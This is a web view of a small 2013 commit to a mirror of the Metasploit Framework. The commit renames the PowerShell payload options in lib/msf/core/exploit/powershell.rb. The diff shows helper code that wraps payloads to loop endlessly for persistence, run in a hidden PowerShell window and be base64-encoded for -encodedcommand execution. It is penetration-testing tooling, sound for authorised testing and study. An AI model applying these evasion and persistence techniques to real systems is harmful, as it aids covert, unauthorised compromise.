infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update datastore changes

bug/bundler_fix
Meatballs 2013-07-29 15:24:29 +01:00
parent eb3f83f26f
commit e1cfe7cfe2
1 changed files with 6 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
lib/msf/core/exploit/powershell.rb
View File

@ -11,7 +11,9 @@ module Exploit::Powershell
super super
register_advanced_options( register_advanced_options(
[ [
OptBool.new('RUN_WOW64', [ OptBool.new('PSH::PERSIST', [true, 'Run the payload in a loop', false]),
OptBool.new('PSH::OLD_METHOD', [true, 'Use powershell 1.0', false]),
OptBool.new('PSH::RUN_WOW64', [
false, false,
'Execute powershell in 32bit compatibility mode, payloads need native arch', 'Execute powershell in 32bit compatibility mode, payloads need native arch',
false false
@ -98,7 +100,7 @@ EOS
# #
# Creates cmd script to execute psh payload # Creates cmd script to execute psh payload
# #
def cmd_psh_payload(pay, old_psh=false) def cmd_psh_payload(pay, old_psh=datastore['PSH::OLD_METHOD'], wow64=datastore['PSH::RUN_WOW64'])
# Allow powershell 1.0 format # Allow powershell 1.0 format
if old_psh if old_psh
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay) psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
@ -106,14 +108,14 @@ EOS
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay) psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
end end
# Run our payload in a while loop # Run our payload in a while loop
if datastore['PERSIST'] if datastore['PSH::PERSIST']
fun_name = Rex::Text.rand_text_alpha(rand(2)+2) fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
sleep_time = rand(5)+5 sleep_time = rand(5)+5
psh_payload = "function #{fun_name}{#{psh_payload}};" psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};" psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end end
# Determine appropriate architecture, manual method reduces script size # Determine appropriate architecture, manual method reduces script size
ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
# Wrap in hidden runtime # Wrap in hidden runtime
psh_payload = run_hidden_psh(psh_payload,ps_bin) psh_payload = run_hidden_psh(psh_payload,ps_bin)
# Convert to base64 for -encodedcommand execution # Convert to base64 for -encodedcommand execution